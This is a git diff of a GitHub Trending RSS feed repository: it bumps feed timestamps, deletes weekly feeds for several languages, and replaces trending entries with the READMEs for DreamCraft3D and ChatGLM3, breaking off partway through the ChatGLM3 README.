diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml index 1a938521232..b0c578ae0e7 100644 --- a/1c-enterprise/daily/index.xml +++ b/1c-enterprise/daily/index.xml @@ -1,7 +1,7 @@ GitHub 1C Enterprise Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:13Z + 2023-10-30T01:23:36Z Daily Trending of 1C Enterprise in GitHub \ No newline at end of file diff --git a/1c-enterprise/weekly/index.xml b/1c-enterprise/weekly/index.xml deleted file mode 100644 index d18d47534ae..00000000000 --- a/1c-enterprise/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 1C Enterprise Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:08Z - Weekly Trending of 1C Enterprise in GitHub - - \ No newline at end of file diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml index 73729fa6e83..bd9d2bb29ed 100644 --- a/2-dimensional-array/daily/index.xml +++ b/2-dimensional-array/daily/index.xml @@ -1,7 +1,7 @@ GitHub 2-Dimensional Array Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:44Z + 2023-10-30T01:24:02Z Daily Trending of 2-Dimensional Array in GitHub \ No newline at end of file diff --git a/2-dimensional-array/weekly/index.xml b/2-dimensional-array/weekly/index.xml deleted file mode 100644 index a9f182076fe..00000000000 --- a/2-dimensional-array/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 2-Dimensional Array Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:42Z - Weekly Trending of 2-Dimensional Array in GitHub - - \ No newline at end of file diff --git a/4d/daily/index.xml b/4d/daily/index.xml index ffedab70b47..dab48bfb871 100644 --- a/4d/daily/index.xml +++ b/4d/daily/index.xml @@ -1,7 +1,7 @@ GitHub 4D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:44Z + 2023-10-30T01:24:04Z Daily Trending of 4D in GitHub \ No newline at end of file diff --git a/4d/weekly/index.xml b/4d/weekly/index.xml deleted file mode 100644 index faef6b8cafc..00000000000 --- a/4d/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub 4D Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:41Z - Weekly Trending of 4D in GitHub - - \ No newline at end of file diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml index 21e590cc9bb..c4a66000cca 100644 --- a/abap-cds/daily/index.xml +++ b/abap-cds/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP CDS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:46Z + 2023-10-30T01:24:03Z Daily Trending of ABAP CDS in GitHub \ No newline at end of file diff --git a/abap-cds/weekly/index.xml b/abap-cds/weekly/index.xml deleted file mode 100644 index 01922cda6bc..00000000000 --- a/abap-cds/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABAP CDS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:43Z - Weekly Trending of ABAP CDS in GitHub - - \ No newline at end of file diff --git a/abap/daily/index.xml b/abap/daily/index.xml index 943a98e6e16..840e8512465 100644 --- a/abap/daily/index.xml +++ b/abap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:47Z + 2023-10-30T01:24:03Z Daily Trending of ABAP in GitHub \ No newline at end of file diff --git a/abap/weekly/index.xml b/abap/weekly/index.xml deleted file mode 100644 index f6b482c2d86..00000000000 --- a/abap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:44Z - Weekly Trending of ABAP in GitHub - - \ No newline at end of file diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml index f836bf86827..729c81d5ac4 100644 --- a/abnf/daily/index.xml +++ b/abnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:48Z + 2023-10-30T01:24:05Z Daily Trending of ABNF in GitHub \ No newline at end of file diff --git a/abnf/weekly/index.xml b/abnf/weekly/index.xml deleted file mode 100644 index 885c69c350d..00000000000 --- a/abnf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ABNF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:45Z - Weekly Trending of ABNF in GitHub - - \ No newline at end of file diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml index 3661a78de0d..eaeb4b71a16 100644 --- a/actionscript/daily/index.xml +++ b/actionscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ActionScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:51Z + 2023-10-30T01:24:07Z Daily Trending of ActionScript in GitHub \ No newline at end of file diff --git a/actionscript/weekly/index.xml b/actionscript/weekly/index.xml deleted file mode 100644 index 63e156ec8ca..00000000000 --- a/actionscript/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub ActionScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:49Z - Weekly Trending of ActionScript in GitHub - - - michaelavila/asynchrony - 2023-10-29T01:46:49Z - tag:github.com,2023-10-29:/michaelavila/asynchrony - - <p>Simplifies your asynchronous ActionScript code</p><hr> - - \ No newline at end of file diff --git a/ada/daily/index.xml b/ada/daily/index.xml index 56e9ef9ac96..ddd8af80a49 100644 --- a/ada/daily/index.xml +++ b/ada/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ada Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:50Z + 2023-10-30T01:24:06Z Daily Trending of Ada in GitHub \ No newline at end of file diff --git a/ada/weekly/index.xml b/ada/weekly/index.xml deleted file mode 100644 index 7b8e3f053f4..00000000000 --- a/ada/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ada Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:46Z - Weekly Trending of Ada in GitHub - - \ No newline at end of file diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml index af08cd2f17f..09095a6f027 100644 --- a/adobe-font-metrics/daily/index.xml +++ b/adobe-font-metrics/daily/index.xml @@ -1,7 +1,7 @@ GitHub Adobe Font Metrics Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:55Z + 2023-10-30T01:24:10Z Daily Trending of Adobe Font Metrics in GitHub \ No newline at end of file diff --git a/adobe-font-metrics/weekly/index.xml b/adobe-font-metrics/weekly/index.xml deleted file mode 100644 index bc13e8d76ca..00000000000 --- a/adobe-font-metrics/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Adobe Font Metrics Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:53Z - Weekly Trending of Adobe Font Metrics in GitHub - - \ No newline at end of file diff --git a/agda/daily/index.xml b/agda/daily/index.xml index 9f51ddc8635..d53a1bd9f51 100644 --- a/agda/daily/index.xml +++ b/agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:53Z + 2023-10-30T01:24:11Z Daily Trending of Agda in GitHub \ No newline at end of file diff --git a/agda/weekly/index.xml b/agda/weekly/index.xml deleted file mode 100644 index b35b8603c5d..00000000000 --- a/agda/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Agda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:52Z - Weekly Trending of Agda in GitHub - - \ No newline at end of file diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml index aadc5979a28..3fbf2c1b5c8 100644 --- a/ags-script/daily/index.xml +++ b/ags-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub AGS Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:52Z + 2023-10-30T01:24:09Z Daily Trending of AGS Script in GitHub \ No newline at end of file diff --git a/ags-script/weekly/index.xml b/ags-script/weekly/index.xml deleted file mode 100644 index 8cac3dd241b..00000000000 --- a/ags-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AGS Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:50Z - Weekly Trending of AGS Script in GitHub - - \ No newline at end of file diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml index b0a3fcbdb1f..548066abb79 100644 --- a/aidl/daily/index.xml +++ b/aidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:54Z + 2023-10-30T01:24:10Z Daily Trending of AIDL in GitHub \ No newline at end of file diff --git a/aidl/weekly/index.xml b/aidl/weekly/index.xml deleted file mode 100644 index b4e25cbc52d..00000000000 --- a/aidl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AIDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:51Z - Weekly Trending of AIDL in GitHub - - \ No newline at end of file diff --git a/al/daily/index.xml b/al/daily/index.xml index 9215c2abd38..394d503a9d5 100644 --- a/al/daily/index.xml +++ b/al/daily/index.xml @@ -1,7 +1,7 @@ GitHub AL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:58Z + 2023-10-30T01:24:12Z Daily Trending of AL in GitHub \ No newline at end of file diff --git a/al/weekly/index.xml b/al/weekly/index.xml deleted file mode 100644 index 5e2f3bb82b7..00000000000 --- a/al/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:54Z - Weekly Trending of AL in GitHub - - \ No newline at end of file diff --git a/all/daily/index.xml b/all/daily/index.xml index 26a1bc9a172..1881909fad0 100644 --- a/all/daily/index.xml +++ b/all/daily/index.xml @@ -1,28 +1,28 @@ GitHub All Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:22Z + 2023-10-30T01:23:42Z Daily Trending of All Languages in GitHub - vercel/next-learn - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/vercel/next-learn - - <p>Learn Next.js Starter Code</p><hr><h1>Learn Next.js</h1> <p>This repository contains starter templates and final code for <a href="https://nextjs.org/learn">Learn Next.js</a> courses:</p> <ul> <li>🆕 <a href="https://nextjs.org/learn">Learn Next.js App Router, Data Fetching, Databases, and Auth</a> (<a href="https://next-learn-dashboard.vercel.sh">demo</a>)</li> <li><a href="https://nextjs.org/learn-pages-router/basics/create-nextjs-app">Learn Basics and TypeScript</a> (<a href="https://next-learn-starter.vercel.app">demo</a>)</li> <li><a href="https://nextjs.org/learn-pages-router/seo/introduction-to-seo">Learn SEO</a> (<a href="https://next-seo-starter.vercel.app">demo</a>)</li> </ul> <h2>Contributions</h2> <p>The code for the example apps you build using Next.js Learn live in this repository and we'd be grateful for your contributions.</p> <p>The course curriculum is currently not open sourced, but you can <a href="https://github.com/vercel/next-learn/issues/new">create an issue</a> if you find a mistake.</p> + deepseek-ai/DreamCraft3D + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/deepseek-ai/DreamCraft3D + + <p>Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior</p><hr><h1>DreamCraft3D</h1> <p><a href="https://arxiv.org/abs/2310.16818"><strong>Paper</strong></a> | <a href="https://mrtornado24.github.io/DreamCraft3D/"><strong>Project Page</strong></a> | <a href="https://www.youtube.com/watch?v=0FazXENkQms"><strong>Youtube video</strong></a></p> <p>Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior</p> <p><a href="https://mrtornado24.github.io/">Jingxiang Sun</a>, <a href="https://bo-zhang.me/">Bo Zhang</a>, <a href="https://dsaurus.github.io/saurus/">Ruizhi Shao</a>, <a href="https://lizhenwangt.github.io/">Lizhen Wang</a>, <a href="https://github.com/StevenLiuWen">Wen Liu</a>, <a href="https://zdaxie.github.io/">Zhenda Xie</a>, <a href="https://liuyebin.com/">Yebin Liu</a></p> <p><strong>Code will come soon.</strong></p> <p>Abstract: <em>We present DreamCraft3D, a hierarchical 3D content generation method that produces high-fidelity and coherent 3D objects. We tackle the problem by leveraging a 2D reference image to guide the stages of geometry sculpting and texture boosting. A central focus of this work is to address the consistency issue that existing works encounter. To sculpt geometries that render coherently, we perform score distillation sampling via a view-dependent diffusion model. This 3D prior, alongside several training strategies, prioritizes the geometry consistency but compromises the texture fidelity. We further propose <strong>Bootstrapped Score Distillation</strong> to specifically boost the texture. We train a personalized diffusion model, Dreambooth, on the augmented renderings of the scene, imbuing it with 3D knowledge of the scene being optimized. The score distillation from this 3D-aware diffusion prior provides view-consistent guidance for the scene. Notably, through an alternating optimization of the diffusion prior and 3D scene representation, we achieve mutually reinforcing improvements: the optimized 3D scene aids in training the scene-specific diffusion model, which offers increasingly view-consistent guidance for 3D optimization. The optimization is thus bootstrapped and leads to substantial texture boosting. With tailored 3D priors throughout the hierarchical generation, DreamCraft3D generates coherent 3D objects with photorealistic renderings, advancing the state-of-the-art in 3D content generation.</em></p> <p align="center"> <img src="https://raw.githubusercontent.com/deepseek-ai/DreamCraft3D/main/assets/repo_static_v2.png"> </p> <h2>Method Overview</h2> <p align="center"> <img src="https://raw.githubusercontent.com/deepseek-ai/DreamCraft3D/main/assets/diagram-1.png"> </p> <!-- https://github.com/MrTornado24/DreamCraft3D/assets/45503891/8e70610c-d812-4544-86bf-7f8764e41067 https://github.com/MrTornado24/DreamCraft3D/assets/45503891/b1e8ae54-1afd-4e0f-88f7-9bd5b70fd44d https://github.com/MrTornado24/DreamCraft3D/assets/45503891/ead40f9b-d7ee-4ee8-8d98-dbd0b8fbab97 --> <h2>BibTeX</h2> <pre><code class="language-bibtex">@misc{sun2023dreamcraft3d, title={DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior}, author={Jingxiang Sun and Bo Zhang and Ruizhi Shao and Lizhen Wang and Wen Liu and Zhenda Xie and Yebin Liu}, year={2023}, eprint={2310.16818}, archivePrefix={arXiv}, primaryClass={cs.CV} } </code></pre> - bluesky-social/social-app - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/bluesky-social/social-app - - <p>The Bluesky Social application for Web, iOS, and Android</p><hr><h1>Bluesky Social App</h1> <p>Welcome friends! This is the codebase for the Bluesky Social app.</p> <p>Get the app itself:</p> <ul> <li><strong>Web: <a href="https://bsky.app">bsky.app</a></strong></li> <li><strong>iOS: <a href="https://apps.apple.com/us/app/bluesky-social/id6444370199">App Store</a></strong></li> <li><strong>Android: <a href="https://play.google.com/store/apps/details?id=xyz.blueskyweb.app&amp;hl=en_US&amp;gl=US">Play Store</a></strong></li> </ul> <h2>Development Resources</h2> <p>This is a <a href="https://reactnative.dev/">React Native</a> application, written in the TypeScript programming language. It builds on the <code>atproto</code> TypeScript packages (like <a href="https://www.npmjs.com/package/@atproto/api"><code>@atproto/api</code></a>), code for which is also on open source, but in <a href="https://github.com/bluesky-social/atproto">a different git repository</a>.</p> <p>There is a small amount of Go language source code (in <code>./bskyweb/</code>), for a web service that returns the React Native Web application.</p> <p>The <a href="https://raw.githubusercontent.com/bluesky-social/social-app/main/docs/build.md">Build Instructions</a> are a good place to get started with the app itself.</p> <p>The Authenticated Transfer Protocol ("AT Protocol" or "atproto") is a decentralized social media protocol. You don't <em>need</em> to understand AT Protocol to work with this application, but it can help. Learn more at:</p> <ul> <li><a href="https://atproto.com/guides/overview">Overview and Guides</a></li> <li><a href="https://github.com/bluesky-social/atproto/discussions">Github Discussions</a> 👈 Great place to ask questions</li> <li><a href="https://atproto.com/specs/atp">Protocol Specifications</a></li> <li><a href="https://blueskyweb.xyz/blog/3-6-2022-a-self-authenticating-social-protocol">Blogpost on self-authenticating data structures</a></li> </ul> <p>The Bluesky Social application encompases a set of schemas and APIs built in the overall AT Protocol framework. The namespace for these "Lexicons" is <code>app.bsky.*</code>.</p> <h2>Contributions</h2> <blockquote> <p>While we do accept contributions, we prioritize high quality issues and pull requests. Adhering to the below guidelines will ensure a more timely review.</p> </blockquote> <p><strong>Rules:</strong></p> <ul> <li>We may not respond to your issue or PR.</li> <li>We may close an issue or PR without much feedback.</li> <li>We may lock discussions or contributions if our attention is getting DDOSed.</li> <li>We're not going to provide support for build issues.</li> </ul> <p><strong>Guidelines:</strong></p> <ul> <li>Check for existing issues before filing a new one please.</li> <li>Open an issue and give some time for discussion before submitting a PR.</li> <li>Stay away from PRs like... <ul> <li>Changing "Post" to "Skeet."</li> <li>Refactoring the codebase, eg to replace mobx with redux or something.</li> <li>Adding entirely new features without prior discussion.</li> </ul> </li> </ul> <p>Remember, we serve a wide community of users. Our day to day involves us constantly asking "which top priority is our top priority." If you submit well-written PRs that solve problems concisely, that's an awesome contribution. Otherwise, as much as we'd love to accept your ideas and contributions, we really don't have the bandwidth. That's what forking is for!</p> <h2>Forking guidelines</h2> <p>You have our blessing 🪄✨ to fork this application! However, it's very important to be clear to users when you're giving them a fork.</p> <p>Please be sure to:</p> <ul> <li>Change all branding in the repository and UI to clearly differentiate from Bluesky.</li> <li>Change any support links (feedback, email, terms of service, etc) to your own systems.</li> <li>Replace any analytics or error-collection systems with your own so we don't get super confused.</li> </ul> <h2>Security disclosures</h2> <p>If you discover any security issues, please send an email to <a href="mailto:security@bsky.app">security@bsky.app</a>. The email is automatically CCed to the entire team and we'll respond promptly.</p> <h2>Are you a developer interested in building on atproto?</h2> <p>Bluesky is an open social network built on the AT Protocol, a flexible technology that will never lock developers out of the ecosystems that they help build. With atproto, third-party can be as seamless as first-party through custom feeds, federated services, clients, and more.</p> <p>If you're a developer interested in building on atproto, we'd love to email you a Bluesky invite code. Simply share your GitHub (or similar) profile with us via <a href="https://forms.gle/BF21oxVNZiDjDhXF9">this form</a>.</p> <h2>License (MIT)</h2> <p>See <a href="https://raw.githubusercontent.com/bluesky-social/social-app/main/LICENSE">./LICENSE</a> for the full license.</p> <h2>P.S.</h2> <p>We ❤️ you and all of the ways you support us. Thank you for making Bluesky a great place!</p> + THUDM/ChatGLM3 + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/THUDM/ChatGLM3 + + <p>ChatGLM3 series: Open Bilingual Chat LLMs | 开源双语对话语言模型</p><hr><h1>ChatGLM3</h1> <p align="center"> 🤗 <a href="https://huggingface.co/THUDM/chatglm3-6b" target="_blank">HF Repo</a> • 🤖 <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b" target="_blank">ModelScope</a> • 🐦 <a href="https://twitter.com/thukeg" target="_blank">Twitter</a> • 📃 <a href="https://arxiv.org/abs/2103.10360" target="_blank">[GLM@ACL 22]</a> <a href="https://github.com/THUDM/GLM" target="_blank">[GitHub]</a> • 📃 <a href="https://arxiv.org/abs/2210.02414" target="_blank">[GLM-130B@ICLR 23]</a> <a href="https://github.com/THUDM/GLM-130B" target="_blank">[GitHub]</a> <br> </p> <p align="center"> 👋 加入我们的 <a href="https://join.slack.com/t/chatglm/shared_invite/zt-25ti5uohv-A_hs~am_D3Q8XPZMpj7wwQ" target="_blank">Slack</a> 和 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/WECHAT.md" target="_blank">WeChat</a> </p> <p align="center"> 📍在 <a href="https://www.chatglm.cn">chatglm.cn</a> 体验更大规模的 ChatGLM 模型。 </p> <h2>介绍</h2> <p>ChatGLM3 是智谱AI和清华大学 KEG 实验室联合发布的新一代对话预训练模型。ChatGLM3-6B 是 ChatGLM3 系列中的开源模型,在保留了前两代模型对话流畅、部署门槛低等众多优秀特性的基础上,ChatGLM3-6B 引入了如下特性:</p> <ol> <li><strong>更强大的基础模型:</strong> ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用了更多样的训练数据、更充分的训练步数和更合理的训练策略。在语义、数学、推理、代码、知识等不同角度的数据集上测评显示,<strong>ChatGLM3-6B-Base 具有在 10B 以下的基础模型中最强的性能</strong>。</li> <li><strong>更完整的功能支持:</strong> ChatGLM3-6B 采用了全新设计的 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/PROMPT.md">Prompt 格式</a>,除正常的多轮对话外。同时原生支持<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/tool_using/README.md">工具调用</a>(Function Call)、代码执行(Code Interpreter)和 Agent 任务等复杂场景。</li> <li><strong>更全面的开源序列:</strong> 除了对话模型 <a href="https://huggingface.co/THUDM/chatglm3-6b">ChatGLM3-6B</a> 外,还开源了基础模型 <a href="https://huggingface.co/THUDM/chatglm3-6b-base">ChatGLM3-6B-Base</a>、长文本对话模型 <a href="https://huggingface.co/THUDM/chatglm3-6b-32k">ChatGLM3-6B-32K</a>。以上所有权重对学术研究<strong>完全开放</strong>,在填写<a href="https://open.bigmodel.cn/mla/form">问卷</a>进行登记后<strong>亦允许免费商业使用</strong>。</li> </ol> <hr> <p>ChatGLM3 开源模型旨在与开源社区一起推动大模型技术发展,恳请开发者和大家遵守<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/MODEL_LICENSE">开源协议</a>,勿将开源模型和代码及基于开源项目产生的衍生物用于任何可能给国家和社会带来危害的用途以及用于任何未经过安全评估和备案的服务。目前,本项目团队未基于 <strong>ChatGLM3 开源模型</strong>开发任何应用,包括网页端、安卓、苹果 iOS 及 Windows App 等应用。</p> <p>尽管模型在训练的各个阶段都尽力确保数据的合规性和准确性,但由于 ChatGLM3-6B 模型规模较小,且模型受概率随机性因素影响,无法保证输出内容的准确。同时模型的输出容易被用户的输入误导。<strong>本项目不承担开源模型和代码导致的数据安全、舆情风险或发生任何模型被误导、滥用、传播、不当利用而产生的风险和责任。</strong></p> <h2>模型列表</h2> <table> <thead> <tr> <th align="center">Model</th> <th align="center">Seq Length</th> <th align="center">Download</th> </tr> </thead> <tbody> <tr> <td align="center">ChatGLM3-6B</td> <td align="center">8k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b">ModelScope</a></td> </tr> <tr> <td align="center">ChatGLM3-6B-Base</td> <td align="center">8k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b-base">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b-base">ModelScope</a></td> </tr> <tr> <td align="center">ChatGLM3-6B-32K</td> <td align="center">32k</td> <td align="center"><a href="https://huggingface.co/THUDM/chatglm3-6b-32k">HuggingFace</a> | <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b-32k">ModelScope</a></td> </tr> </tbody> </table> <h2>评测结果</h2> <h3>典型任务</h3> <p>我们选取了 8 个中英文典型数据集,在 ChatGLM3-6B (base) 版本上进行了性能测试。</p> <table> <thead> <tr> <th>Model</th> <th align="center">GSM8K</th> <th align="center">MATH</th> <th align="center">BBH</th> <th align="center">MMLU</th> <th align="center">C-Eval</th> <th align="center">CMMLU</th> <th align="center">MBPP</th> <th align="center">AGIEval</th> </tr> </thead> <tbody> <tr> <td>ChatGLM2-6B-Base</td> <td align="center">32.4</td> <td align="center">6.5</td> <td align="center">33.7</td> <td align="center">47.9</td> <td align="center">51.7</td> <td align="center">50.0</td> <td align="center">-</td> <td align="center">-</td> </tr> <tr> <td>Best Baseline</td> <td align="center">52.1</td> <td align="center">13.1</td> <td align="center">45.0</td> <td align="center">60.1</td> <td align="center">63.5</td> <td align="center">62.2</td> <td align="center">47.5</td> <td align="center">45.8</td> </tr> <tr> <td>ChatGLM3-6B-Base</td> <td align="center">72.3</td> <td align="center">25.7</td> <td align="center">66.1</td> <td align="center">61.4</td> <td align="center">69.0</td> <td align="center">67.5</td> <td align="center">52.4</td> <td align="center">53.7</td> </tr> </tbody> </table> <blockquote> <p>Best Baseline 指的是模型参数在 10B 以下、在对应数据集上表现最好的预训练模型,不包括只针对某一项任务训练而未保持通用能力的模型。</p> </blockquote> <blockquote> <p>对 ChatGLM3-6B-Base 的测试中,BBH 采用 3-shot 测试,需要推理的 GSM8K、MATH 采用 0-shot CoT 测试,MBPP 采用 0-shot 生成后运行测例计算 Pass@1 ,其他选择题类型数据集均采用 0-shot 测试。</p> </blockquote> <p>我们在多个长文本应用场景下对 ChatGLM3-6B-32K 进行了人工评估测试。与二代模型相比,其效果平均提升了超过 50%。在论文阅读、文档摘要和财报分析等应用中,这种提升尤为显著。此外,我们还在 LongBench 评测集上对模型进行了测试,具体结果如下表所示</p> <table> <thead> <tr> <th>Model</th> <th align="center">平均</th> <th align="center">Summary</th> <th align="center">Single-Doc QA</th> <th align="center">Multi-Doc QA</th> <th align="center">Code</th> <th align="center">Few-shot</th> <th align="center">Synthetic</th> </tr> </thead> <tbody> <tr> <td>ChatGLM2-6B-32K</td> <td align="center">41.5</td> <td align="center">24.8</td> <td align="center">37.6</td> <td align="center">34.7</td> <td align="center">52.8</td> <td align="center">51.3</td> <td align="center">47.7</td> </tr> <tr> <td>ChatGLM3-6B-32K</td> <td align="center">50.2</td> <td align="center">26.6</td> <td align="center">45.8</td> <td align="center">46.1</td> <td align="center">56.2</td> <td align="center">61.2</td> <td align="center">65</td> </tr> </tbody> </table> <h2>使用方式</h2> <h3>环境安装</h3> <p>首先需要下载本仓库:</p> <pre><code class="language-shell">git clone https://github.com/THUDM/ChatGLM3 cd ChatGLM3 </code></pre> <p>然后使用 pip 安装依赖:</p> <pre><code>pip install -r requirements.txt </code></pre> <p>其中 <code>transformers</code> 库版本推荐为 <code>4.30.2</code>,<code>torch</code> 推荐使用 2.0 及以上的版本,以获得最佳的推理性能。</p> <h3>综合 Demo</h3> <p>我们提供了一个集成以下三种功能的综合 Demo,运行方法请参考 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/composite_demo/README.md">综合 Demo</a></p> <ul> <li>Chat: 对话模式,在此模式下可以与模型进行对话。</li> <li>Tool: 工具模式,模型除了对话外,还可以通过工具进行其他操作。 <img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/tool.png" alt="tool"></li> <li>Code Interpreter: 代码解释器模式,模型可以在一个 Jupyter 环境中执行代码并获取结果,以完成复杂任务。 <img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/heart.png" alt="code"></li> </ul> <h3>代码调用</h3> <p>可以通过如下代码调用 ChatGLM 模型来生成对话:</p> <pre><code class="language-python">&gt;&gt;&gt; from transformers import AutoTokenizer, AutoModel &gt;&gt;&gt; tokenizer = AutoTokenizer.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True) &gt;&gt;&gt; model = AutoModel.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True, device='cuda') &gt;&gt;&gt; model = model.eval() &gt;&gt;&gt; response, history = model.chat(tokenizer, "你好", history=[]) &gt;&gt;&gt; print(response) 你好👋!我是人工智能助手 ChatGLM3-6B,很高兴见到你,欢迎问我任何问题。 &gt;&gt;&gt; response, history = model.chat(tokenizer, "晚上睡不着应该怎么办", history=history) &gt;&gt;&gt; print(response) 晚上睡不着可能会让你感到焦虑或不舒服,但以下是一些可以帮助你入睡的方法: 1. 制定规律的睡眠时间表:保持规律的睡眠时间表可以帮助你建立健康的睡眠习惯,使你更容易入睡。尽量在每天的相同时间上床,并在同一时间起床。 2. 创造一个舒适的睡眠环境:确保睡眠环境舒适,安静,黑暗且温度适宜。可以使用舒适的床上用品,并保持房间通风。 3. 放松身心:在睡前做些放松的活动,例如泡个热水澡,听些轻柔的音乐,阅读一些有趣的书籍等,有助于缓解紧张和焦虑,使你更容易入睡。 4. 避免饮用含有咖啡因的饮料:咖啡因是一种刺激性物质,会影响你的睡眠质量。尽量避免在睡前饮用含有咖啡因的饮料,例如咖啡,茶和可乐。 5. 避免在床上做与睡眠无关的事情:在床上做些与睡眠无关的事情,例如看电影,玩游戏或工作等,可能会干扰你的睡眠。 6. 尝试呼吸技巧:深呼吸是一种放松技巧,可以帮助你缓解紧张和焦虑,使你更容易入睡。试着慢慢吸气,保持几秒钟,然后缓慢呼气。 如果这些方法无法帮助你入睡,你可以考虑咨询医生或睡眠专家,寻求进一步的建议。 </code></pre> <h4>从本地加载模型</h4> <p>以上代码会由 <code>transformers</code> 自动下载模型实现和参数。完整的模型实现在 <a href="https://huggingface.co/THUDM/chatglm3-6b">Hugging Face Hub</a>。如果你的网络环境较差,下载模型参数可能会花费较长时间甚至失败。此时可以先将模型下载到本地,然后从本地加载。</p> <p>从 Hugging Face Hub 下载模型需要先<a href="https://docs.github.com/zh/repositories/working-with-files/managing-large-files/installing-git-large-file-storage">安装Git LFS</a>,然后运行</p> <pre><code class="language-Shell">git clone https://huggingface.co/THUDM/chatglm3-6b </code></pre> <p>如果从你从 HuggingFace 下载比较慢,也可以从 <a href="https://modelscope.cn/models/ZhipuAI/chatglm3-6b">ModelScope</a> 中下载。</p> <h3>网页版对话 Demo</h3> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/web-demo.gif" alt="web-demo"> 可以通过以下命令启动基于 Gradio 的网页版 demo:</p> <pre><code class="language-shell">python web_demo.py </code></pre> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/web-demo2.png" alt="web-demo"></p> <p>可以通过以下命令启动基于 Streamlit 的网页版 demo:</p> <pre><code 